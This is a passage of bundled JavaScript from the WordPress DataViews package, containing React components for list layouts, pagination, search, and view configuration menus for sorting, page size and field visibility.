            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(descriptionField.render, {
              item: item
            })
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: "dataviews-view-list__fields",
            id: descriptionId,
            children: otherFields.map(field => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
              className: "dataviews-view-list__field",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
                as: "span",
                className: "dataviews-view-list__field-label",
                children: field.label
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
                className: "dataviews-view-list__field-value",
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
                  item: item
                })
              })]
            }, field.id))
          })]
        })]
      })]
    })
  });
}
function isDefined(item) {
  return !!item;
}
function ViewList(props) {
  var _view$fields;
  const {
    actions,
    data,
    fields,
    getItemId,
    isLoading,
    onChangeSelection,
    selection,
    view
  } = props;
  const baseId = (0,external_wp_compose_namespaceObject.useInstanceId)(ViewList, 'view-list');
  const selectedItem = data?.findLast(item => selection.includes(getItemId(item)));
  const titleField = fields.find(field => field.id === view.titleField);
  const mediaField = fields.find(field => field.id === view.mediaField);
  const descriptionField = fields.find(field => field.id === view.descriptionField);
  const otherFields = ((_view$fields = view?.fields) !== null && _view$fields !== void 0 ? _view$fields : []).map(fieldId => fields.find(f => fieldId === f.id)).filter(isDefined);
  const onSelect = item => onChangeSelection([getItemId(item)]);
  const generateCompositeItemIdPrefix = (0,external_wp_element_namespaceObject.useCallback)(item => `${baseId}-${getItemId(item)}`, [baseId, getItemId]);
  const isActiveCompositeItem = (0,external_wp_element_namespaceObject.useCallback)((item, idToCheck) => {
    // All composite items use the same prefix in their IDs.
    return idToCheck.startsWith(generateCompositeItemIdPrefix(item));
  }, [generateCompositeItemIdPrefix]);

  // Controlled state for the active composite item.
  const [activeCompositeId, setActiveCompositeId] = (0,external_wp_element_namespaceObject.useState)(undefined);

  // Update the active composite item when the selected item changes.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (selectedItem) {
      setActiveCompositeId(generateItemWrapperCompositeId(generateCompositeItemIdPrefix(selectedItem)));
    }
  }, [selectedItem, generateCompositeItemIdPrefix]);
  const activeItemIndex = data.findIndex(item => isActiveCompositeItem(item, activeCompositeId !== null && activeCompositeId !== void 0 ? activeCompositeId : ''));
  const previousActiveItemIndex = (0,external_wp_compose_namespaceObject.usePrevious)(activeItemIndex);
  const isActiveIdInList = activeItemIndex !== -1;
  const selectCompositeItem = (0,external_wp_element_namespaceObject.useCallback)((targetIndex, generateCompositeId) => {
    // Clamping between 0 and data.length - 1 to avoid out of bounds.
    const clampedIndex = Math.min(data.length - 1, Math.max(0, targetIndex));
    if (!data[clampedIndex]) {
      return;
    }
    const itemIdPrefix = generateCompositeItemIdPrefix(data[clampedIndex]);
    const targetCompositeItemId = generateCompositeId(itemIdPrefix);
    setActiveCompositeId(targetCompositeItemId);
    document.getElementById(targetCompositeItemId)?.focus();
  }, [data, generateCompositeItemIdPrefix]);

  // Select a new active composite item when the current active item
  // is removed from the list.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const wasActiveIdInList = previousActiveItemIndex !== undefined && previousActiveItemIndex !== -1;
    if (!isActiveIdInList && wasActiveIdInList) {
      // By picking `previousActiveItemIndex` as the next item index, we are
      // basically picking the item that would have been after the deleted one.
      // If the previously active (and removed) item was the last of the list,
      // we will select the item before it — which is the new last item.
      selectCompositeItem(previousActiveItemIndex, generateItemWrapperCompositeId);
    }
  }, [isActiveIdInList, selectCompositeItem, previousActiveItemIndex]);

  // Prevent the default behavior (open dropdown menu) and instead select the
  // dropdown menu trigger on the previous/next row.
  // https://github.com/ariakit/ariakit/issues/3768
  const onDropdownTriggerKeyDown = (0,external_wp_element_namespaceObject.useCallback)(event => {
    if (event.key === 'ArrowDown') {
      // Select the dropdown menu trigger item in the next row.
      event.preventDefault();
      selectCompositeItem(activeItemIndex + 1, generateDropdownTriggerCompositeId);
    }
    if (event.key === 'ArrowUp') {
      // Select the dropdown menu trigger item in the previous row.
      event.preventDefault();
      selectCompositeItem(activeItemIndex - 1, generateDropdownTriggerCompositeId);
    }
  }, [selectCompositeItem, activeItemIndex]);
  const hasData = data?.length;
  if (!hasData) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx({
        'dataviews-loading': isLoading,
        'dataviews-no-results': !hasData && !isLoading
      }),
      children: !hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        children: isLoading ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)('No results')
      })
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
    id: baseId,
    render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
    className: "dataviews-view-list",
    role: "grid",
    activeId: activeCompositeId,
    setActiveId: setActiveCompositeId,
    children: data.map(item => {
      const id = generateCompositeItemIdPrefix(item);
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ListItem, {
        view: view,
        idPrefix: id,
        actions: actions,
        item: item,
        isSelected: item === selectedItem,
        onSelect: onSelect,
        mediaField: mediaField,
        titleField: titleField,
        descriptionField: descriptionField,
        otherFields: otherFields,
        onDropdownTriggerKeyDown: onDropdownTriggerKeyDown
      }, id);
    })
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/density-picker.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


function DensityPicker() {
  const context = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const view = context.view;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
    __nextHasNoMarginBottom: true,
    size: "__unstable-large",
    label: (0,external_wp_i18n_namespaceObject.__)('Density'),
    value: view.layout?.density || 'balanced',
    onChange: value => {
      context.onChangeView({
        ...view,
        layout: {
          ...view.layout,
          density: value
        }
      });
    },
    isBlock: true,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
      value: "comfortable",
      label: (0,external_wp_i18n_namespaceObject._x)('Comfortable', 'Density option for DataView layout')
    }, "comfortable"), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
      value: "balanced",
      label: (0,external_wp_i18n_namespaceObject._x)('Balanced', 'Density option for DataView layout')
    }, "balanced"), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
      value: "compact",
      label: (0,external_wp_i18n_namespaceObject._x)('Compact', 'Density option for DataView layout')
    }, "compact")]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */






const VIEW_LAYOUTS = [{
  type: constants_LAYOUT_TABLE,
  label: (0,external_wp_i18n_namespaceObject.__)('Table'),
  component: table,
  icon: block_table,
  viewConfigOptions: DensityPicker
}, {
  type: constants_LAYOUT_GRID,
  label: (0,external_wp_i18n_namespaceObject.__)('Grid'),
  component: ViewGrid,
  icon: library_category,
  viewConfigOptions: PreviewSizePicker
}, {
  type: constants_LAYOUT_LIST,
  label: (0,external_wp_i18n_namespaceObject.__)('List'),
  component: ViewList,
  icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_list_bullets_rtl : format_list_bullets
}];

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-layout/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



function DataViewsLayout() {
  const {
    actions = [],
    data,
    fields,
    getItemId,
    getItemLevel,
    isLoading,
    view,
    onChangeView,
    selection,
    onChangeSelection,
    setOpenedFilter,
    onClickItem,
    isItemClickable
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const ViewComponent = VIEW_LAYOUTS.find(v => v.type === view.type)?.component;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewComponent, {
    actions: actions,
    data: data,
    fields: fields,
    getItemId: getItemId,
    getItemLevel: getItemLevel,
    isLoading: isLoading,
    onChangeView: onChangeView,
    onChangeSelection: onChangeSelection,
    selection: selection,
    setOpenedFilter: setOpenedFilter,
    onClickItem: onClickItem,
    isItemClickable: isItemClickable,
    view: view
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-pagination/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


function DataViewsPagination() {
  var _view$page;
  const {
    view,
    onChangeView,
    paginationInfo: {
      totalItems = 0,
      totalPages
    }
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  if (!totalItems || !totalPages) {
    return null;
  }
  const currentPage = (_view$page = view.page) !== null && _view$page !== void 0 ? _view$page : 1;
  const pageSelectOptions = Array.from(Array(totalPages)).map((_, i) => {
    const page = i + 1;
    return {
      value: page.toString(),
      label: page.toString(),
      'aria-label': currentPage === page ? (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: Current page number in total number of pages
      (0,external_wp_i18n_namespaceObject.__)('Page %1$s of %2$s'), currentPage, totalPages) : page.toString()
    };
  });
  return !!totalItems && totalPages !== 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    expanded: false,
    className: "dataviews-pagination",
    justify: "end",
    spacing: 6,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "flex-start",
      expanded: false,
      spacing: 1,
      className: "dataviews-pagination__page-select",
      children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: 1: Current page number, 2: Total number of pages.
      (0,external_wp_i18n_namespaceObject._x)('<div>Page</div>%1$s<div>of %2$s</div>', 'paging'), '<CurrentPage />', totalPages), {
        div: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          "aria-hidden": true
        }),
        CurrentPage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Current page'),
          value: currentPage.toString(),
          options: pageSelectOptions,
          onChange: newValue => {
            onChangeView({
              ...view,
              page: +newValue
            });
          },
          size: "small",
          __nextHasNoMarginBottom: true,
          variant: "minimal"
        })
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      expanded: false,
      spacing: 1,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        onClick: () => onChangeView({
          ...view,
          page: currentPage - 1
        }),
        disabled: currentPage === 1,
        accessibleWhenDisabled: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Previous page'),
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_next : library_previous,
        showTooltip: true,
        size: "compact",
        tooltipPosition: "top"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        onClick: () => onChangeView({
          ...view,
          page: currentPage + 1
        }),
        disabled: currentPage >= totalPages,
        accessibleWhenDisabled: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Next page'),
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_previous : library_next,
        showTooltip: true,
        size: "compact",
        tooltipPosition: "top"
      })]
    })]
  });
}
/* harmony default export */ const dataviews_pagination = ((0,external_wp_element_namespaceObject.memo)(DataViewsPagination));

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-footer/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





const dataviews_footer_EMPTY_ARRAY = [];
function DataViewsFooter() {
  const {
    view,
    paginationInfo: {
      totalItems = 0,
      totalPages
    },
    data,
    actions = dataviews_footer_EMPTY_ARRAY
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data) && [constants_LAYOUT_TABLE, constants_LAYOUT_GRID].includes(view.type);
  if (!totalItems || !totalPages || totalPages <= 1 && !hasBulkActions) {
    return null;
  }
  return !!totalItems && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    expanded: false,
    justify: "end",
    className: "dataviews-footer",
    children: [hasBulkActions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BulkActionsFooter, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_pagination, {})]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-search/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const DataViewsSearch = (0,external_wp_element_namespaceObject.memo)(function Search({
  label
}) {
  const {
    view,
    onChangeView
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const [search, setSearch, debouncedSearch] = (0,external_wp_compose_namespaceObject.useDebouncedInput)(view.search);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    var _view$search;
    setSearch((_view$search = view.search) !== null && _view$search !== void 0 ? _view$search : '');
  }, [view.search, setSearch]);
  const onChangeViewRef = (0,external_wp_element_namespaceObject.useRef)(onChangeView);
  const viewRef = (0,external_wp_element_namespaceObject.useRef)(view);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    onChangeViewRef.current = onChangeView;
    viewRef.current = view;
  }, [onChangeView, view]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (debouncedSearch !== viewRef.current?.search) {
      onChangeViewRef.current({
        ...viewRef.current,
        page: 1,
        search: debouncedSearch
      });
    }
  }, [debouncedSearch]);
  const searchLabel = label || (0,external_wp_i18n_namespaceObject.__)('Search');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
    className: "dataviews-search",
    __nextHasNoMarginBottom: true,
    onChange: setSearch,
    value: search,
    label: searchLabel,
    placeholder: searchLabel,
    size: "compact"
  });
});
/* harmony default export */ const dataviews_search = (DataViewsSearch);

;// ./node_modules/@wordpress/icons/build-module/library/lock.js
/**
 * WordPress dependencies
 */


const lock_lock = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z"
  })
});
/* harmony default export */ const library_lock = (lock_lock);

;// ./node_modules/@wordpress/icons/build-module/library/cog.js
/**
 * WordPress dependencies
 */


const cog = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    d: "M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",
    clipRule: "evenodd"
  })
});
/* harmony default export */ const library_cog = (cog);

;// external ["wp","warning"]
const external_wp_warning_namespaceObject = window["wp"]["warning"];
var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject);
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-view-config/index.js
/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */





const {
  Menu: dataviews_view_config_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
const DATAVIEWS_CONFIG_POPOVER_PROPS = {
  className: 'dataviews-config__popover',
  placement: 'bottom-end',
  offset: 9
};
function ViewTypeMenu({
  defaultLayouts = {
    list: {},
    grid: {},
    table: {}
  }
}) {
  const {
    view,
    onChangeView
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const availableLayouts = Object.keys(defaultLayouts);
  if (availableLayouts.length <= 1) {
    return null;
  }
  const activeView = VIEW_LAYOUTS.find(v => view.type === v.type);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_view_config_Menu, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.TriggerButton, {
      render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        icon: activeView?.icon,
        label: (0,external_wp_i18n_namespaceObject.__)('Layout')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.Popover, {
      children: availableLayouts.map(layout => {
        const config = VIEW_LAYOUTS.find(v => v.type === layout);
        if (!config) {
          return null;
        }
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.RadioItem, {
          value: layout,
          name: "view-actions-available-view",
          checked: layout === view.type,
          hideOnClick: true,
          onChange: e => {
            switch (e.target.value) {
              case 'list':
              case 'grid':
              case 'table':
                const viewWithoutLayout = {
                  ...view
                };
                if ('layout' in viewWithoutLayout) {
                  delete viewWithoutLayout.layout;
                }
                // @ts-expect-error
                return onChangeView({
                  ...viewWithoutLayout,
                  type: e.target.value,
                  ...defaultLayouts[e.target.value]
                });
            }
             true ? external_wp_warning_default()('Invalid dataview') : 0;
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.ItemLabel, {
            children: config.label
          })
        }, layout);
      })
    })]
  });
}
function SortFieldControl() {
  const {
    view,
    fields,
    onChangeView
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const orderOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const sortableFields = fields.filter(field => field.enableSorting !== false);
    return sortableFields.map(field => {
      return {
        label: field.label,
        value: field.id
      };
    });
  }, [fields]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
    __nextHasNoMarginBottom: true,
    __next40pxDefaultSize: true,
    label: (0,external_wp_i18n_namespaceObject.__)('Sort by'),
    value: view.sort?.field,
    options: orderOptions,
    onChange: value => {
      onChangeView({
        ...view,
        sort: {
          direction: view?.sort?.direction || 'desc',
          field: value
        },
        showLevels: false
      });
    }
  });
}
function SortDirectionControl() {
  const {
    view,
    fields,
    onChangeView
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const sortableFields = fields.filter(field => field.enableSorting !== false);
  if (sortableFields.length === 0) {
    return null;
  }
  let value = view.sort?.direction;
  if (!value && view.sort?.field) {
    value = 'desc';
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
    className: "dataviews-view-config__sort-direction",
    __nextHasNoMarginBottom: true,
    __next40pxDefaultSize: true,
    isBlock: true,
    label: (0,external_wp_i18n_namespaceObject.__)('Order'),
    value: value,
    onChange: newDirection => {
      if (newDirection === 'asc' || newDirection === 'desc') {
        onChangeView({
          ...view,
          sort: {
            direction: newDirection,
            field: view.sort?.field ||
            // If there is no field assigned as the sorting field assign the first sortable field.
            fields.find(field => field.enableSorting !== false)?.id || ''
          },
          showLevels: false
        });
        return;
      }
       true ? external_wp_warning_default()('Invalid direction') : 0;
    },
    children: SORTING_DIRECTIONS.map(direction => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon, {
        value: direction,
        icon: sortIcons[direction],
        label: sortLabels[direction]
      }, direction);
    })
  });
}
const PAGE_SIZE_VALUES = [10, 20, 50, 100];
function ItemsPerPageControl() {
  const {
    view,
    onChangeView
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
    __nextHasNoMarginBottom: true,
    __next40pxDefaultSize: true,
    isBlock: true,
    label: (0,external_wp_i18n_namespaceObject.__)('Items per page'),
    value: view.perPage || 10,
    disabled: !view?.sort?.field,
    onChange: newItemsPerPage => {
      const newItemsPerPageNumber = typeof newItemsPerPage === 'number' || newItemsPerPage === undefined ? newItemsPerPage : parseInt(newItemsPerPage, 10);
      onChangeView({
        ...view,
        perPage: newItemsPerPageNumber,
        page: 1
      });
    },
    children: PAGE_SIZE_VALUES.map(value => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
        value: value,
        label: value.toString()
      }, value);
    })
  });
}
function PreviewOptions({
  previewOptions,
  onChangePreviewOption,
  onMenuOpenChange,
  activeOption
}) {
  const focusPreviewOptionsField = id => {
    // Focus the visibility button to avoid focus loss.
    // Our code is safe against the component being unmounted, so we don't need to worry about cleaning the timeout.
    // eslint-disable-next-line @wordpress/react-no-unsafe-timeout
    setTimeout(() => {
      const element = document.querySelector(`.dataviews-field-control__field-${id} .dataviews-field-control__field-preview-options-button`);
      if (element instanceof HTMLElement) {
        element.focus();
      }
    }, 50);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_view_config_Menu, {
    onOpenChange: onMenuOpenChange,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.TriggerButton, {
      render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        className: "dataviews-field-control__field-preview-options-button",
        size: "compact",
        icon: more_vertical,
        label: (0,external_wp_i18n_namespaceObject.__)('Preview')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.Popover, {
      children: previewOptions?.map(({
        id,
        label
      }) => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.RadioItem, {
          value: id,
          checked: id === activeOption,
          onChange: () => {
            onChangePreviewOption?.(id);
            focusPreviewOptionsField(id);
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.ItemLabel, {
            children: label
          })
        }, id);
      })
    })]
  });
}
function FieldItem({
  field,
  label,
  description,
  isVisible,
  isFirst,
  isLast,
  canMove = true,
  onToggleVisibility,
  onMoveUp,
  onMoveDown,
  previewOptions,
  onChangePreviewOption
}) {
  const [isChangingPreviewOption, setIsChangingPreviewOption] = (0,external_wp_element_namespaceObject.useState)(false);
  const focusVisibilityField = () => {
    // Focus the visibility button to avoid focus loss.
    // Our code is safe against the component being unmounted, so we don't need to worry about cleaning the timeout.
    // eslint-disable-next-line @wordpress/react-no-unsafe-timeout
    setTimeout(() => {
      const element = document.querySelector(`.dataviews-field-control__field-${field.id} .dataviews-field-control__field-visibility-button`);
      if (element instanceof HTMLElement) {
        element.focus();
      }
    }, 50);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      expanded: true,
      className: dist_clsx('dataviews-field-control__field', `dataviews-field-control__field-${field.id}`,
      // The actions are hidden when the mouse is not hovering the item, or focus
      // is outside the item.
      // For actions that require a popover, a menu etc, that would mean that when the interactive element
      // opens and the focus goes there the actions would be hidden.
      // To avoid that we add a class to the item, that makes sure actions are visible while there is some
      // interaction with the item.
      {
        'is-interacting': isChangingPreviewOption
      }),
      justify: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
        className: "dataviews-field-control__icon",
        children: !canMove && !field.enableHiding && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
          icon: library_lock
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
        className: "dataviews-field-control__label-sub-label-container",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "dataviews-field-control__label",
          children: label || field.label
        }), description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "dataviews-field-control__sub-label",
          children: description
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "flex-end",
        expanded: false,
        className: "dataviews-field-control__actions",
        children: [isVisible && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            disabled: isFirst || !canMove,
            accessibleWhenDisabled: true,
            size: "compact",
            onClick: onMoveUp,
            icon: chevron_up,
            label: isFirst || !canMove ? (0,external_wp_i18n_namespaceObject.__)("This field can't be moved up") : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
            (0,external_wp_i18n_namespaceObject.__)('Move %s up'), field.label)
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            disabled: isLast || !canMove,
            accessibleWhenDisabled: true,
            size: "compact",
            onClick: onMoveDown,
            icon: chevron_down,
            label: isLast || !canMove ? (0,external_wp_i18n_namespaceObject.__)("This field can't be moved down") : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
            (0,external_wp_i18n_namespaceObject.__)('Move %s down'), field.label)
          })]
        }), onToggleVisibility && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          className: "dataviews-field-control__field-visibility-button",
          disabled: !field.enableHiding,
          accessibleWhenDisabled: true,
          size: "compact",
          onClick: () => {
            onToggleVisibility();
            focusVisibilityField();
          },
          icon: isVisible ? library_unseen : library_seen,
          label: isVisible ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
          (0,external_wp_i18n_namespaceObject._x)('Hide %s', 'field'), field.label) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
          (0,external_wp_i18n_namespaceObject._x)('Show %s', 'field'), field.label)
        }), previewOptions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewOptions, {
          previewOptions: previewOptions,
          onChangePreviewOption: onChangePreviewOption,
          onMenuOpenChange: setIsChangingPreviewOption,
          activeOption: field.id
        })]
      })]
    })
  });
}
function RegularFieldItem({
  index,
  field,
  view,
  onChangeView
}) {
  var _view$fields;
  const visibleFieldIds = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
  const isVisible = index !== undefined && visibleFieldIds.includes(field.id);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
    field: field,
    isVisible: isVisible,
    isFirst: index !== undefined && index < 1,
    isLast: index !== undefined && index === visibleFieldIds.length - 1,
    onToggleVisibility: () => {
      onChangeView({
        ...view,
        fields: isVisible ? visibleFieldIds.filter(fieldId => fieldId !== field.id) : [...visibleFieldIds, field.id]
      });
    },
    onMoveUp: index !== undefined ? () => {
      var _visibleFieldIds$slic;
      onChangeView({
        ...view,
        fields: [...((_visibleFieldIds$slic = visibleFieldIds.slice(0, index - 1)) !== null && _visibleFieldIds$slic !== void 0 ? _visibleFieldIds$slic : []), field.id, visibleFieldIds[index - 1], ...visibleFieldIds.slice(index + 1)]
      });
    } : undefined,
    onMoveDown: index !== undefined ? () => {
      var _visibleFieldIds$slic2;
